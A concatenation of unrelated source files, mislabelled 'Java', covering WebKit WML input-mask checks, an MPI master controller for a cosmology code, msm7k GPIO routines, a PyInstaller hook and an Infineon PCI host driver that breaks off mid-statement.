m_numOfCharsAllowedByMask) return false; unsigned maskIndex = 0; if (isUserInput) { unsigned cursorPosition = 0; if (renderer()) cursorPosition = toRenderTextControl(renderer())->selectionStart(); else cursorPosition = m_data.cachedSelectionStart(); maskIndex = cursorPositionToMaskIndex(cursorPosition); } else maskIndex = cursorPositionToMaskIndex(inputCharCount - 1); bool ok = true; UChar mask = m_formatMask[maskIndex]; // match the inputed character with input mask switch (mask) { case 'A': ok = !WTF::isASCIIDigit(inChar) && !WTF::isASCIILower(inChar) && WTF::isASCIIPrintable(inChar); break; case 'a': ok = !WTF::isASCIIDigit(inChar) && !WTF::isASCIIUpper(inChar) && WTF::isASCIIPrintable(inChar); break; case 'N': ok = WTF::isASCIIDigit(inChar); break; case 'n': ok = !WTF::isASCIIAlpha(inChar) && WTF::isASCIIPrintable(inChar); break; case 'X': ok = !WTF::isASCIILower(inChar) && WTF::isASCIIPrintable(inChar); break; case 'x': ok = !WTF::isASCIIUpper(inChar) && WTF::isASCIIPrintable(inChar); break; case 'M': ok = WTF::isASCIIPrintable(inChar); break; case 'm': ok = WTF::isASCIIPrintable(inChar); break; default: ok = (mask == inChar); break; } return ok; } unsigned WMLInputElement::cursorPositionToMaskIndex(unsigned cursorPosition) { UChar mask; int index = -1; do { mask = m_formatMask[++index]; if (mask == '\\') ++index; else if (mask == '*' || (WTF::isASCIIDigit(mask) && mask != '0')) { index = m_formatMask.length() - 1; break; } } while (cursorPosition--); return index; } } #endif
Java
// // Created by David Seery on 10/08/2015. // --@@ // Copyright (c) 2017 University of Sussex. All rights reserved. // // This file is part of the Sussex Effective Field Theory for // Large-Scale Structure platform (LSSEFT). // // LSSEFT is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // LSSEFT is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with LSSEFT. If not, see <http://www.gnu.org/licenses/>. // // @license: GPL-2 // @contributor: David Seery <D.Seery@sussex.ac.uk> // --@@ // #ifndef LSSEFT_MASTER_CONTROLLER_H #define LSSEFT_MASTER_CONTROLLER_H #include <memory> #include "argument_cache.h" #include "local_environment.h" #include "scheduler.h" #include "database/data_manager.h" #include "database/tokens.h" #include "cosmology/types.h" #include "cosmology/FRW_model.h" #include "cosmology/oneloop_growth_integrator.h" #include "cosmology/Pk_filter.h" #include "cosmology/Matsubara_XY_calculator.h" #include "cosmology/oneloop_growth_integrator.h" #include "cosmology/concepts/range.h" #include "cosmology/concepts/power_spectrum.h" #include "error/error_handler.h" #include "MPI_detail/mpi_traits.h" #include "MPI_detail/mpi_payloads.h" #include "boost/mpi.hpp" class master_controller { // CONSTRUCTOR, DESTRUCTOR public: //! construct a master controller delegate master_controller(boost::mpi::environment& me, boost::mpi::communicator& mw, argument_cache& ac); //! destructor is default ~master_controller() = default; // INTERFACE public: //! process command-line arguments void process_arguments(int argc, char* argv[]); //! execute void execute(); // RANK TO WORKER NUMBER CONVERSIONS (worker number runs from 1 .. n-1, rank runs from 1 .. n, based on master process on rank 0) protected: //! Get worker number unsigned int worker_number() { return(static_cast<unsigned int>(this->mpi_world.rank()-1)); } //! Return MPI rank of this process unsigned int get_rank(void) const { return(static_cast<unsigned int>(this->mpi_world.rank())); } //! Map worker number to communicator rank unsigned int worker_rank(unsigned int worker_number) const { return(worker_number+1); } //! Map communicator rank to worker number unsigned int worker_number(unsigned int worker_rank) const { return(worker_rank-1); } // WORKER HANDLING protected: //! execute a job specified by a work list template <typename WorkItemList> void scatter(const FRW_model& model, const FRW_model_token& token, WorkItemList& work, data_manager& dmgr); //! store a payload returned by a worker template <typename WorkItem> void store_payload(const FRW_model_token& token, unsigned int source, data_manager& dmgr); //! terminate worker processes void terminate_workers(); //! instruct workers to await new tasks std::unique_ptr<scheduler> set_up_workers(unsigned int tag); //! instruct workers that the current batch of tasks is finished void close_down_workers(); // COMPUTE ONE-LOOP KERNELS protected: //! compute kernels at given redshifts void integrate_loop_growth(const FRW_model& model, const FRW_model_token& token, z_database& z_db, data_manager& dmgr, const growth_params_token& params_tok, const growth_params& params); // INTERNAL DATA private: // MPI environment //! MPI environment object, inherited from parent task manager boost::mpi::environment& mpi_env; //! MPI communicator, inherited from parent task manager boost::mpi::communicator& mpi_world; // Caches //! argument cache, inherited from parent task manager argument_cache& arg_cache; //! local environment properties (constructed locally) local_environment local_env; // Functional blocks //! error handler error_handler err_handler; }; template <typename WorkItemList> void master_controller::scatter(const FRW_model& model, const FRW_model_token& token, WorkItemList& work, data_manager& dmgr) { using WorkItem = typename WorkItemList::value_type; boost::timer::cpu_timer timer; // total CPU time boost::timer::cpu_timer write_timer; // time spent writing to the database write_timer.stop(); if(this->mpi_world.size() == 1) throw runtime_exception(exception_type::runtime_error, ERROR_TOO_FEW_WORKERS); // ask data manager to prepare for new writes boost::timer::cpu_timer pre_timer; // time spent doing preparation dmgr.setup_write(work); pre_timer.stop(); // instruct slave processes to await transfer function tasks std::unique_ptr<scheduler> sch = this->set_up_workers(MPI_detail::work_item_traits<WorkItem>::new_task_message()); bool sent_closedown = false; auto next_work_item = work.cbegin(); while(!sch->all_inactive()) { // check whether all work is exhausted if(next_work_item == work.cend() && !sent_closedown) { sent_closedown = true; this->close_down_workers(); } // check whether any workers are waiting for assignments if(next_work_item != work.cend() && sch->is_assignable()) { std::vector<unsigned int> unassigned_list = sch->make_assignment(); std::vector<boost::mpi::request> requests; for(std::vector<unsigned int>::const_iterator t = unassigned_list.begin(); next_work_item != work.cend() && t != unassigned_list.end(); ++t) { // assign next work item to this worker requests.push_back(this->mpi_world.isend(this->worker_rank(*t), MPI_detail::work_item_traits<WorkItem>::new_item_message(), MPI_detail::build_payload(model, next_work_item))); sch->mark_assigned(*t); ++next_work_item; } // wait for all messages to be received boost::mpi::wait_all(requests.begin(), requests.end()); } // check whether any messages are waiting in the queue boost::optional<boost::mpi::status> stat = this->mpi_world.iprobe(); while(stat) // consume messages until no more are available { switch(stat->tag()) { case MPI_detail::MESSAGE_WORK_PRODUCT_READY: { write_timer.resume(); this->store_payload<WorkItem>(token, stat->source(), dmgr); write_timer.stop(); sch->mark_unassigned(this->worker_number(stat->source())); break; } case MPI_detail::MESSAGE_END_OF_WORK_ACK: { this->mpi_world.recv(stat->source(), MPI_detail::MESSAGE_END_OF_WORK_ACK); sch->mark_inactive(this->worker_number(stat->source())); break; } default: { assert(false); } } stat = this->mpi_world.iprobe(); } } boost::timer::cpu_timer post_timer; // time spent tidying up the database after a write dmgr.finalize_write(work); post_timer.stop(); timer.stop(); std::ostringstream msg; msg << "completed work in time " << format_time(timer.elapsed().wall) << " [" << "database performance: prepare " << format_time(pre_timer.elapsed().wall) << ", " << "writes " << format_time(write_timer.elapsed().wall) << ", " << "cleanup " << format_time(post_timer.elapsed().wall) << "]"; this->err_handler.info(msg.str()); } template <typename WorkItem> void master_controller::store_payload(const FRW_model_token& token, unsigned int source, data_manager& dmgr) { typename MPI_detail::work_item_traits<WorkItem>::incoming_payload_type payload; this->mpi_world.recv(source, MPI_detail::MESSAGE_WORK_PRODUCT_READY, payload); dmgr.store(token, payload.get_data()); } #endif //LSSEFT_MASTER_CONTROLLER_H
Java
/* Copyright Statement: * * This software/firmware and related documentation ("MediaTek Software") are * protected under relevant copyright laws. The information contained herein is * confidential and proprietary to MediaTek Inc. and/or its licensors. Without * the prior written permission of MediaTek inc. and/or its licensors, any * reproduction, modification, use or disclosure of MediaTek Software, and * information contained herein, in whole or in part, shall be strictly * prohibited. * * MediaTek Inc. (C) 2010. All rights reserved. * * BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES * THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE") * RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER ON * AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT. NEITHER * DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE SOFTWARE OF * ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR SUPPLIED WITH THE * MEDIATEK SOFTWARE, AND RECEIVER AGREES TO LOOK ONLY TO SUCH THIRD PARTY FOR * ANY WARRANTY CLAIM RELATING THERETO. RECEIVER EXPRESSLY ACKNOWLEDGES THAT IT * IS RECEIVER'S SOLE RESPONSIBILITY TO OBTAIN FROM ANY THIRD PARTY ALL PROPER * LICENSES CONTAINED IN MEDIATEK SOFTWARE. MEDIATEK SHALL ALSO NOT BE * RESPONSIBLE FOR ANY MEDIATEK SOFTWARE RELEASES MADE TO RECEIVER'S * SPECIFICATION OR TO CONFORM TO A PARTICULAR STANDARD OR OPEN FORUM. * RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND CUMULATIVE * LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE, * AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE MEDIATEK SOFTWARE AT ISSUE, * OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY RECEIVER TO * MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE. */ /* * Copyright (c) 2008, Google Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <boot/boot.h> #include <msm7k/gpio.h> /* gross */ typedef struct gpioregs gpioregs; struct gpioregs { unsigned out; unsigned in; unsigned int_status; unsigned int_clear; unsigned int_en; unsigned int_edge; unsigned int_pos; unsigned oe; }; static gpioregs GPIO_REGS[] = { { .out = GPIO_OUT_0, .in = GPIO_IN_0, .int_status = GPIO_INT_STATUS_0, .int_clear = GPIO_INT_CLEAR_0, .int_en = GPIO_INT_EN_0, .int_edge = GPIO_INT_EDGE_0, .int_pos = GPIO_INT_POS_0, .oe = GPIO_OE_0, }, { .out = GPIO_OUT_1, .in = GPIO_IN_1, .int_status = GPIO_INT_STATUS_1, .int_clear = GPIO_INT_CLEAR_1, .int_en = GPIO_INT_EN_1, .int_edge = GPIO_INT_EDGE_1, .int_pos = GPIO_INT_POS_1, .oe = GPIO_OE_1, }, { .out = GPIO_OUT_2, .in = GPIO_IN_2, .int_status = GPIO_INT_STATUS_2, .int_clear = GPIO_INT_CLEAR_2, .int_en = GPIO_INT_EN_2, .int_edge = GPIO_INT_EDGE_2, .int_pos = GPIO_INT_POS_2, .oe = GPIO_OE_2, }, { .out = GPIO_OUT_3, .in = GPIO_IN_3, .int_status = GPIO_INT_STATUS_3, .int_clear = GPIO_INT_CLEAR_3, .int_en = GPIO_INT_EN_3, .int_edge = GPIO_INT_EDGE_3, .int_pos = GPIO_INT_POS_3, .oe = GPIO_OE_3, }, { .out = GPIO_OUT_4, .in = GPIO_IN_4, .int_status = GPIO_INT_STATUS_4, .int_clear = GPIO_INT_CLEAR_4, .int_en = GPIO_INT_EN_4, .int_edge = GPIO_INT_EDGE_4, .int_pos = GPIO_INT_POS_4, .oe = GPIO_OE_4, }, }; static gpioregs *find_gpio(unsigned n, unsigned *bit) { if(n > 106) return 0; if(n > 94) { *bit = 1 << (n - 95); return GPIO_REGS + 4; } if(n > 67) { *bit = 1 << (n - 68); return GPIO_REGS + 3; } if(n > 42) { *bit = 1 << (n - 43); return GPIO_REGS + 2; } if(n > 15) { *bit = 1 << (n - 16); return GPIO_REGS + 1; } *bit = 1 << n; return GPIO_REGS + 0; } void gpio_output_enable(unsigned n, unsigned out) { gpioregs *r; unsigned b; unsigned v; if((r = find_gpio(n, &b)) == 0) return; v = readl(r->oe); if(out) { writel(v | b, r->oe); } else { writel(v & (~b), r->oe); } } void gpio_write(unsigned n, unsigned on) { gpioregs *r; unsigned b; unsigned v; if((r = find_gpio(n, &b)) == 0) return; v = readl(r->out); if(on) { writel(v | b, r->out); } else { writel(v & (~b), r->out); } } int gpio_read(unsigned n) { gpioregs *r; unsigned b; if((r = find_gpio(n, &b)) == 0) return 0; return (readl(r->in) & b) ? 1 : 0; } void gpio_dir(int nr, int out) { gpio_output_enable(nr, out); } void gpio_set(int nr, int set) { gpio_write(nr, set); } int gpio_get(int nr) { return gpio_read(nr); }
Java
# Copyright (C) 2005, Giovanni Bajo # Based on previous work under copyright (c) 2001, 2002 McMillan Enterprises, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA import sys def hook(mod): if sys.version[0] > '1': for i in range(len(mod.imports)-1, -1, -1): if mod.imports[i][0] == 'strop': del mod.imports[i] return mod
Java
/************************************************************************* * * FILE NAME : ifxmips_pci.c * PROJECT : IFX UEIP * MODULES : PCI * * DATE : 29 June 2009 * AUTHOR : Lei Chuanhua * * DESCRIPTION : PCI Host Controller Driver * COPYRIGHT : Copyright (c) 2009 * Infineon Technologies AG * Am Campeon 1-12, 85579 Neubiberg, Germany * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * HISTORY * $Version $Date $Author $Comment * 1.0 29 Jun Lei Chuanhua First UEIP release *************************************************************************/ /*! \file ifxmips_pci.c \ingroup IFX_PCI \brief pci bus driver source file */ #include <linux/module.h> #include <linux/types.h> #include <linux/pci.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/delay.h> #include <linux/interrupt.h> #include <linux/mm.h> #include <asm/paccess.h> #include <asm/addrspace.h> #include <asm/ifx/ifx_types.h> #include <asm/ifx/ifx_regs.h> #include <asm/ifx/common_routines.h> #include <asm/ifx/ifx_gpio.h> #include <asm/ifx/irq.h> #include <asm/ifx/ifx_rcu.h> #include "ifxmips_pci_reg.h" #include "ifxmips_pci.h" #define IFX_PCI_VER_MAJOR 1 #define IFX_PCI_VER_MID 2 #define IFX_PCI_VER_MINOR 0 extern u32 max_pfn, max_low_pfn; extern struct pci_controller ifx_pci_controller; extern int ifx_pci_bus_status; extern void __iomem *ifx_pci_cfg_space; extern u32 pci_config_addr(u8 bus_num, u16 devfn, int where); /* Used by ifxmips_interrupt.c to suppress bus exception */ int pci_bus_error_flag; extern u32 ifx_pci_config_read(u32 addr); extern void ifx_pci_config_write(u32 addr, u32 data); #ifdef CONFIG_IFX_DUAL_MINI_PCI #define IFX_PCI_REQ1 29 #define IFX_PCI_GNT1 30 #endif /* CONFIG_IFX_DUAL_MINI_PCI */ static const int pci_gpio_module_id = IFX_GPIO_MODULE_PCI; #ifdef CONFIG_IFX_PCI_DANUBE_EBU_LED_RST #include <asm/ifx/ifx_ebu_led.h> static inline void ifx_pci_dev_reset_init(void) { ifx_ebu_led_enable(); ifx_ebu_led_set_data(9, 1); } static inline void ifx_pci_dev_reset(void) { ifx_ebu_led_set_data(9, 0); mdelay(5); ifx_ebu_led_set_data(9, 1); mdelay(1); ifx_ebu_led_disable(); } #else /* GPIO in global view */ #define IFX_PCI_RST 21 static inline void ifx_pci_dev_reset_init(void) { /* * PCI_RST: P1.5 used as a general GPIO, instead of PCI_RST gpio. * In Danube/AR9, it reset internal PCI core and external PCI device * However, in VR9, it only resets external PCI device. Internal core * reset by PCI software reset registers. * GPIO21 if used as PCI_RST, software can't control reset time. * Since it uses as a general GPIO, ALT should 0, 0. */ ifx_gpio_pin_reserve(IFX_PCI_RST, pci_gpio_module_id); ifx_gpio_output_set(IFX_PCI_RST, pci_gpio_module_id); ifx_gpio_dir_out_set(IFX_PCI_RST, pci_gpio_module_id); ifx_gpio_altsel0_clear(IFX_PCI_RST, pci_gpio_module_id); ifx_gpio_altsel1_clear(IFX_PCI_RST, pci_gpio_module_id); ifx_gpio_open_drain_set(IFX_PCI_RST, pci_gpio_module_id); } static inline void ifx_pci_dev_reset(void) { /* Reset external PCI device. */ ifx_gpio_output_clear(IFX_PCI_RST, pci_gpio_module_id); smp_wmb(); mdelay(5); ifx_gpio_output_set(IFX_PCI_RST, pci_gpio_module_id); smp_wmb(); mdelay(1); } #endif /* CONFIG_IFX_PCI_DANUBE_EBU_LED_RST */ static u32 round_up_to_next_power_of_two(u32 x) { x--; x |= x >> 1; x |= x >> 2; x |= x >> 4; x |= x >> 8; x |= x >> 16; x++; return x; } static void ifx_pci_startup(void) { u32 reg; /* Choose reset from RCU first, then do reset */ reg = IFX_REG_R32(IFX_CGU_PCI_CR); reg |= IFX_PCI_CLK_RESET_FROM_CGU; /* XXX, Should be RCU*/ IFX_REG_W32(reg, IFX_CGU_PCI_CR); /* Secondly, RCU reset PCI domain including PCI CLK and PCI bridge */ ifx_rcu_rst(IFX_RCU_DOMAIN_PCI, IFX_RCU_MODULE_PCI); reg = IFX_REG_R32(IFX_CGU_IF_CLK); reg &= ~ IFX_PCI_CLK_MASK; /* * CGU PCI CLK is specific with platforms. Danube has four bits, * AR9 and VR9 has five bits. Their definitions are in platform header * file */ #ifdef CONFIG_IFX_PCI_EXTERNAL_CLK_SRC reg &= ~IFX_PCI_INTERNAL_CLK_SRC; /* External clk has no need to set clk in register */ #else reg |= IFX_PCI_INTERNAL_CLK_SRC; #ifdef CONFIG_IFX_PCI_INTERNAL_CLK_SRC_60 /* PCI 62.5 MHz clock */ reg |= IFX_PCI_60MHZ; #else /* PCI 33.3 MHz clock */ reg |= IFX_PCI_33MHZ; #endif /* CONFIG_IFX_PCI_INTERNAL_CLK_SRC_60 */ #endif /* CONFIG_IFX_PCI_EXTERNAL_CLK_SRC */ IFX_REG_W32(reg, IFX_CGU_IF_CLK); reg = IFX_REG_R32(IFX_CGU_PCI_CR); #ifdef CONFIG_IFX_PCI_EXTERNAL_CLK_SRC reg &= ~IFX_PCI_CLK_FROM_CGU; #else reg |= IFX_PCI_CLK_FROM_CGU; #endif /* CONFIG_IFX_PCI_EXTERNAL_CLK_SRC */ reg &= ~IFX_PCI_DELAY_MASK; #if !defined(CONFIG_IFX_PCI_CLOCK_DELAY_NANO_SECONDS) || CONFIG_IFX_PCI_CLOCK_DELAY_NANO_SECONDS < 0 || CONFIG_IFX_PCI_CLOCK_DELAY_NANO_SECONDS > 7 #error "please define CONFIG_IFX_PCI_CLOCK_DELAY_NANO_SECONDS properly" #endif reg |= (CONFIG_IFX_PCI_CLOCK_DELAY_NANO_SECONDS << IFX_PCI_DELAY_SHIFT); #if !defined(CONFIG_IFX_PCI_CLOCK_DELAY_TENTH_NANO_SECOND) || CONFIG_IFX_PCI_CLOCK_DELAY_TENTH_NANO_SECOND < 0 || CONFIG_IFX_PCI_CLOCK_DELAY_TENTH_NANO_SECOND > 5 #error "Please CONFIG_CONFIG_IFX_PCI_CLOCK_DELAY_TENTH_NANO_SECOND properly" #endif reg |= (CONFIG_IFX_PCI_CLOCK_DELAY_TENTH_NANO_SECOND << 18); IFX_REG_W32(reg, IFX_CGU_PCI_CR); ifx_pci_dev_reset_init(); #ifdef CONFIG_IFX_DUAL_MINI_PCI /* PCI_REQ1: P1.13 ALT 01 */ ifx_gpio_pin_reserve(IFX_PCI_REQ1, pci_gpio_module_id); ifx_gpio_dir_in_set(IFX_PCI_REQ1, pci_gpio_module_id); ifx_gpio_altsel0_set(IFX_PCI_REQ1, pci_gpio_module_id); ifx_gpio_altsel1_clear(IFX_PCI_REQ1, pci_gpio_module_id); /* PCI_GNT1: P1.14 ALT 01 */ ifx_gpio_pin_reserve(IFX_PCI_GNT1, pci_gpio_module_id); ifx_gpio_dir_out_set(IFX_PCI_GNT1, pci_gpio_module_id); ifx_gpio_altsel0_set(IFX_PCI_GNT1, pci_gpio_module_id); ifx_gpio_altsel1_clear(IFX_PCI_GNT1, pci_gpio_module_id); ifx_gpio_open_drain_set(IFX_PCI_GNT1, pci_gpio_module_id); #endif /* CONFIG_IFX_DUAL_MINI_PCI */ /* Enable auto-switching between PCI and EBU, normal ack */ reg = IFX_PCI_CLK_CTRL_EBU_PCI_SWITCH_EN | IFX_PCI_CLK_CTRL_FPI_NORMAL_ACK; IFX_REG_W32(reg, IFX_PCI_CLK_CTRL); /* Configuration mode, i.e. configuration is not done, PCI access has to be retried */ IFX_REG_CLR_BIT(IFX_PCI_MOD_CFG_OK, IFX_PCI_MOD); smp_wmb(); /* Enable bus master/IO/MEM access */ reg = IFX_REG_R32(IFX_PCI_CMD); reg |= IFX_PCI_CMD_IO_EN | IFX_PCI_CMD_MEM_EN | IFX_PCI_CMD_MASTER_EN; IFX_REG_W32(reg, IFX_PCI_CMD); reg = IFX_REG_R32(IFX_PCI_ARB); #ifdef CONFIG_IFX_DUAL_MINI_PCI /* Enable external 4 PCI masters */ reg &= ~(SM(3, IFX_PCI_ARB_PCI_PORT_ARB)); #else /* Enable external 1 PCI masters */ reg &= ~(SM(1, IFX_PCI_ARB_PCI_PORT_ARB)); #endif /* Enable internal arbiter */ reg |= IFX_PCI_ARB_INTERNAL_EN; /* Enable internal PCI master reqest */ reg &= ~(SM(3, IFX_PCI_ARB_PCI_MASTER_REQ0)); /* Enable EBU reqest */ reg &= ~(SM(3, IFX_PCI_ARB_PCI_MASTER_REQ1)); /* Enable all external masters request */ reg &= ~(SM(3, IFX_PCI_ARB_PCI_MASTER_REQ2)); IFX_REG_W32(reg, IFX_PCI_ARB); smp_wmb(); /* * FPI ==> PCI MEM address mapping * base: 0xb8000000 == > 0x18000000 * size: 8x4M = 32M */ reg = IFX_PCI_MEM_PHY_BASE; IFX_REG_W32(reg, IFX_PCI_FPI_ADDR_MAP0); reg += 0x400000; IFX_REG_W32(reg, IFX_PCI_FPI_ADDR_MAP1); reg += 0x400000; IFX_REG_W32(reg, IFX_PCI_FPI_ADDR_MAP2); reg += 0x400000; IFX_REG_W32(reg, IFX_PCI_FPI_ADDR_MAP3); reg += 0x400000; IFX_REG_W32(reg, IFX_PCI_FPI_ADDR_MAP4); reg += 0x400000; IFX_REG_W32(reg, IFX_PCI_FPI_ADDR_MAP5); reg += 0x400000; IFX_REG_W32(reg, IFX_PCI_FPI_ADDR_MAP6); reg += 0x400000; IFX_REG_W32(reg, IFX_PCI_FPI_ADDR_MAP7); /* FPI ==> PCI IO address mapping * base: 0xbAE00000 == > 0xbAE00000 * size: 2M */ IFX_REG_W32(IFX_PCI_IO_PHY_BASE, IFX_PCI_FPI_ADDR_MAP11_HIGH); /* PCI ==> FPI address mapping * base: 0x0 ==> 0x0 * size: 32M */ /* At least 16M. Otherwise there will be discontiguous memory region. */ reg = IFX_PCI_BAR_PREFETCH; reg |= ((-round_up_to_next_power_of_two((max_low_pfn << PAGE_SHIFT))) & 0x0F000000); IFX_REG_W32(reg, IFX_PCI_BAR11MASK); IFX_REG_W32(0x0, IFX_PCI_ADDR_MAP11); IFX_REG_W32(0x0, IFX_PCI_BAR1); #ifdef CONFIG_IFX_PCI_HW_SWAP /* both TX and RX endian swap are enabled */ reg = IFX_PCI_SWAP_RX | IFX_PCI_SWAP_TX; IFX_REG_W32(reg, IFX_PCI_SWAP); smp_wmb(); #endif reg = IFX_REG_R32(IFX_PCI_BAR12MASK); reg |= IFX_PCI_BAR_DECODING_EN; IFX_REG_W32(reg, IFX_PCI_BAR12MASK); reg = IFX_REG_R32(IFX_PCI_BAR13MASK); reg |= IFX_PCI_BAR_DECODING_EN; IFX_REG_W32(reg, IFX_PCI_BAR13MASK); reg = IFX_REG_R32(IFX_PCI_BAR14MASK); reg |= IFX_PCI_BAR_DECODING_EN; IFX_REG_W32(reg, IFX_PCI_BAR14MASK); reg = IFX_REG_R32(IFX_PCI_BAR15MASK); reg |= IFX_PCI_BAR_DECODING_EN; IFX_REG_W32(reg, IFX_PCI_BAR15MASK); reg = IFX_REG_R32(IFX_PCI_BAR16MASK); reg |= IFX_PCI_BAR_DECODING_EN; IFX_REG_W32(reg, IFX_PCI_BAR16MASK); /* Use 4 dw burse length, XXX 8 dw will cause PCI timeout */ reg = SM(IFX_PCI_FPI_BURST_LEN4, IFX_PCI_FPI_RD_BURST_LEN) | SM(IFX_PCI_FPI_BURST_LEN4, IFX_PCI_FPI_WR_BURST_LEN); IFX_REG_W32(reg, IFX_PCI_FPI_BURST_LENGTH); /* Configuration OK. */ IFX_REG_SET_BIT(IFX_PCI_MOD_CFG_OK, IFX_PCI_MOD); smp_wmb(); mdelay(1); ifx_pci_dev_reset(); } /* Brief: disable external pci aribtor request * Details: * blocking call, i.e. only return when there is no external PCI bus activities */ void ifx_disable_external_pci(void) { IFX_REG_RMW32_FILED(IFX_PCI_ARB_PCI_MASTER_REQ2, 3, IFX_PCI_ARB); smp_wmb(); /* make sure EBUSY is low && Frame Ird is high) */ while ((IFX_REG_R32(IFX_PCI_ARB) & (IFX_PCI_ARB_PCI_NOT_READY | IFX_PCI_ARB_PCI_NO_FRM | IFX_PCI_ARB_EBU_IDLE)) != (IFX_PCI_ARB_PCI_NOT_READY | IFX_PCI_ARB_PCI_NO_FRM)); } /* Brief: enable external pci aribtor request * Details: * non-blocking call */ void ifx_enable_external_pci(void) { /* Clear means enabling all external masters request */ IFX_REG_CLR_BIT(IFX_PCI_ARB_PCI_MASTER_REQ2, IFX_PCI_ARB); smp_wmb(); } #ifdef CONFIG_DANUBE_EBU_PCI_SW_ARBITOR void ifx_enable_ebu(void) { u32 reg; /* Delay before enabling ebu ??? */ /* Disable int/ext pci request */ reg = IFX_REG_R32(IFX_PCI_ARB); reg &= ~(IFX_PCI_ARB_PCI_MASTER_REQ1); reg |= (IFX_PCI_ARB_PCI_MASTER_REQ0 | IFX_PCI_ARB_PCI_MASTER_REQ2); IFX_REG_W32(reg, IFX_PCI_ARB); /* Poll for pci bus idle */ reg = IFX_REG_R32(IFX_PCI_ARB); while ((reg & IFX_PCI_ART_PCI_IDLE) != IFX_PCI_ART_PCI_IDLE) { reg = IFX_REG_R32(IFX_PCI_ARB); }; /* EBU only, Arbitor fix*/ IFX_REG_W32(0, IFX_PCI_CLK_CTRL); /* * Unmask CFRAME_MASK changing PCI's Config Space via internal path * might need to change to external path */ /* Start configuration, one burst read is allowed */ reg = IFX_REG_R32(IFX_PCI_MOD); reg &= ~IFX_PCI_MOD_CFG_OK; reg |= IFX_PCI_MOD_TWO_IRQ_INTA_AND_INTB | SM(1, IFX_PCI_MOD_READ_BURST_THRESHOLD); IFX_REG_W32(reg, IFX_PCI_MOD); reg = IFX_REG_R32(IFX_PCI_CARDBUS_FRAME_MASK); reg &= ~IFX_PCI_CARDBUS_FRAME_MASK_EN; IFX_REG_W32(reg, IFX_PCI_CARDBUS_FRAME_MASK); IFX_REG_SET_BIT(IFX_PCI_MOD_CFG_OK, IFX_PCI_MOD); reg = IFX_REG_R32(IFX_PCI_CARDBUS_FRAME_MASK); } EXPORT_SYMBOL(ifx_enable_ebu); void ifx_disable_ebu(void) { u32 reg; /* Delay before enabling ebu ??? */ /* Restore EBU and PCI auto switch */ IFX_REG_W32(IFX_PCI_CLK_CTRL_EBU_PCI_SWITCH_EN, IFX_PCI_CLK_CTRL); /* * unmask CFRAME_MASK changing PCI's Config Space via internal path * might need to change to external path */ reg = IFX_REG_R32(IFX_PCI_MOD); /* Start configuration, one burst read is allowed */ reg &= ~IFX_PCI_MOD_CFG_OK; reg |= IFX_PCI_MOD_TWO_IRQ_INTA_AND_INTB | SM(1, IFX_PCI_MOD_READ_BURST_THRESHOLD); IFX_REG_W32(reg, IFX_PCI_MOD); reg = IFX_REG_R32(IFX_PCI_CARDBUS_FRAME_MASK); reg |= IFX_PCI_CARDBUS_FRAME_MASK_EN; IFX_REG_W32(reg, IFX_PCI_CARDBUS_FRAME_MASK); IFX_REG_SET_BIT(IFX_PCI_MOD_CFG_OK, IFX_PCI_MOD); /* Enable int/ext pci request */ reg = IFX_REG_R32(IFX_PCI_ARB); reg &= 